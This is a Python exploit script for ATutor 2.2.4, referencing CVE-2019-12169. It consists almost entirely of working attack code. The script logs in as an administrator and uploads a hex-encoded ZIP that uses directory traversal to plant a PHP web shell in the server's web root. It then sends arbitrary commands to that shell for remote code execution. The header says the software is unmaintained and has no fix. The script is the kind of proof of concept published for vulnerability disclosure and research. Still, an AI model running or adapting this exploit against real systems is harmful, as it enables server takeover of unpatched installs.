#!/usr/bin/env python # # Exploit Title: ATutor 2.2.4 'language_import' Arbitrary File Upload / RCE [CVE-2019-12169] # Date: 5/24/19 # Exploit Author: liquidsky (JMcPeters) # Vendor Homepage: https://atutor.github.io/ # Software Link: https://sourceforge.net/projects/atutor/files/latest/download # Version: 2.2.4 # Tested on: Windows 8 / Apache / MySQL (XAMPP) # CVE : CVE-2019-12169 # Author Site: http://incidentsecurity.com/atutor-2-2-4-language_import-arbitrary-file-upload-rce/ # : https://github.com/fuzzlove # # Description: ATutor 2.2.4 allows Arbitrary File Upload and Directory Traversal # resulting in remote code execution via a ".." pathname in a ZIP archive to the mods/_core/languages/language_import.php (aka Import New Language) or mods/_standard/patcher/index_admin.php (aka Patcher) component. # # Greetz: wetw0rk, offsec ^^ # # Notes: This application is no longer being maintained so there is no fix for this issue. import sys, hashlib, requests import urllib requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) import time print "+-------------------------------------------------------------+" print print "- ATutor 2.2.4 Arbitrary File Upload / RCE [CVE-2019-12169]" print print "- Discovery / PoC by liquidsky (JMcPeters) ^^" print print "+-------------------------------------------------------------+" try: #settings target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] commands = sys.argv[4] except IndexError: print print "- usage: %s " % sys.argv[0] print "- Example: %s incidentsecurity.com admin mypassword 'whoami'" % sys.argv[0] print sys.exit() # headers to upload zip headers = { "Accept-Encoding": "gzip, deflate", "Referer": "http://" + target + "/ATutor/mods/_core/languages/language_import.php", "Connection": "close", "Content-Type": "multipart/form-data; boundary=---------------------------CVE201912169", } # Note: This was successfully tested against a windows install however it should work with linux. # ----- # This will drop a shell on c:\xampp\htdocs\liquidsky.php and or /var/www/html/liquidsky.php # using directory traversal. # php file payload data = "" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43" data += "\x56\x45\x32\x30\x31\x39\x31\x32\x31\x36\x39\x0d\x0a\x43\x6f" data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69" data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20" data += "\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69" data += "\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x2e\x7a\x69\x70" data += "\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65" data += "\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x7a" data += "\x69\x70\x0d\x0a\x0d\x0a\x50\x4b\x03\x04\x14\x00\x00\x00\x08" data += "\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00\x6a\x00" data += "\x00\x00\x2c\x00\x00\x00\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x5c" data += "\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x2f\x78\x61\x6d\x70\x70\x5c" data += "\x68\x74\x64\x6f\x63\x73\x5c\x6c\x69\x71\x75\x69\x64\x73\x6b" data += "\x79\x2e\x70\x68\x70\xb3\xb1\x2f\xc8\x28\x50\x48\x2d\x4b\xcc" data += "\xd1\x50\xb2\xb7\x53\xd2\x4b\x4a\x2c\x4e\x35\x33\x89\x4f\x49" data += "\x4d\xce\x4f\x49\xd5\x50\x72\x09\xcc\xf7\x02\x62\x8b\x00\x63" data += "\xa7\xfc\x64\x67\xa7\x9c\x48\xa3\x8c\x32\x4f\x0f\xa7\x8c\x64" data += "\x63\x3f\x83\x44\x0f\x2f\x43\x6f\xe7\xa0\xb4\x20\x83\xb0\xd0" data += "\xf0\xca\x94\xe2\xc8\x70\xd3\xbc\x94\x70\xb7\xbc\xa8\xe0\x94" data += "\x14\xef\x90\xe2\xf4\x80\x2a\x13\x3f\xe7\x74\x5b\x5b\x25\x4d" data += "\x4d\x6b\x05\x7b\x3b\x00\x50\x4b\x03\x04\x14\x00\x00\x00\x08" data += "\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00\x6a\x00" data += "\x00\x00\x2c\x00\x00\x00\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f" data += "\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x76\x61\x72\x2f\x77\x77" data += "\x77\x2f\x68\x74\x6d\x6c\x2f\x6c\x69\x71\x75\x69\x64\x73\x6b" data += "\x79\x2e\x70\x68\x70\xb3\xb1\x2f\xc8\x28\x50\x48\x2d\x4b\xcc" data += "\xd1\x50\xb2\xb7\x53\xd2\x4b\x4a\x2c\x4e\x35\x33\x89\x4f\x49" data += "\x4d\xce\x4f\x49\xd5\x50\x72\x09\xcc\xf7\x02\x62\x8b\x00\x63" data += "\xa7\xfc\x64\x67\xa7\x9c\x48\xa3\x8c\x32\x4f\x0f\xa7\x8c\x64" data += "\x63\x3f\x83\x44\x0f\x2f\x43\x6f\xe7\xa0\xb4\x20\x83\xb0\xd0" data += "\xf0\xca\x94\xe2\xc8\x70\xd3\xbc\x94\x70\xb7\xbc\xa8\xe0\x94" data += "\x14\xef\x90\xe2\xf4\x80\x2a\x13\x3f\xe7\x74\x5b\x5b\x25\x4d" data += "\x4d\x6b\x05\x7b\x3b\x00\x50\x4b\x01\x02\x14\x03\x14\x00\x00" data += "\x00\x08\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00" data += "\x6a\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" data += "\x00\x80\x01\x00\x00\x00\x00\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e" data += "\x5c\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x2f\x78\x61\x6d\x70\x70" data += "\x5c\x68\x74\x64\x6f\x63\x73\x5c\x6c\x69\x71\x75\x69\x64\x73" data += "\x6b\x79\x2e\x70\x68\x70\x50\x4b\x01\x02\x14\x03\x14\x00\x00" data += "\x00\x08\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00" data += "\x6a\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" data += "\x00\x80\x01\xb4\x00\x00\x00\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e" data += "\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x76\x61\x72\x2f\x77" data += "\x77\x77\x2f\x68\x74\x6d\x6c\x2f\x6c\x69\x71\x75\x69\x64\x73" data += "\x6b\x79\x2e\x70\x68\x70\x50\x4b\x05\x06\x00\x00\x00\x00\x02" data += "\x00\x02\x00\xb4\x00\x00\x00\x68\x01\x00\x00\x00\x00\x0d\x0a" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43" data += "\x56\x45\x32\x30\x31\x39\x31\x32\x31\x36\x39\x0d\x0a\x43\x6f" data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69" data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20" data += "\x6e\x61\x6d\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x0d\x0a" data += "\x0d\x0a\x49\x6d\x70\x6f\x72\x74\x0d\x0a\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43\x56\x45\x32\x30\x31" data += "\x39\x31\x32\x31\x36\x39\x2d\x2d\x0d\x0a" #reverse shell url shell = "http://" + target + "/liquidsky.php?language=" + commands # Generate Hash def gen_hash(passwd, token): m= hashlib.sha1() m.update(passwd + token) return m.hexdigest() def we_can_get_jiggy_with_the_pass(): # Run pass through SHA1 hash_object = hashlib.sha1(password) hex_dig = hash_object.hexdigest() print "[*] Got SHA1 for pass: " + (hex_dig) targeturl = "http://" + target + "/ATutor/login.php" token = "abc" hashed = gen_hash(hex_dig, token) d = { "form_password_hidden" : hashed, "form_login": "admin", "submit": "Login", "token" : token } s = requests.Session() #Logging in r = s.post(targeturl, data=d) print "[+] Logging in to system as %s ..." % (username) res = r.text # url settings, duh url = "http://" + target + "/ATutor/mods/_core/languages/language_import.php" # A similar method works for the "patcher" function. # url = "http://" + target + "/ATutor/mods/_standard/patcher/index_admin.php" # This is "the" request to send the zip request = s.post(url, headers=headers, data=data, verify=False) print "[+] Sent the zip ......" time.sleep(1) # Grab shell dude! print "[!] *** Remote Code Execution ***" request = s.post(shell, verify=False) print "[x] http://" + target + "/liquidsky.php?language=" + commands # Note be sure to clean up: c:\xampp\htdocs\liquidsky.php and or /var/www/html/liquidsky.php if "Administration" in res: return True return False def main(): if we_can_get_jiggy_with_the_pass(): print "" print "[+] Success! we were able to login!" print "" print " ^_~ got r00t? - [liquidsky 2019]" else: print "[-] failure!" if __name__ == "__main__": main()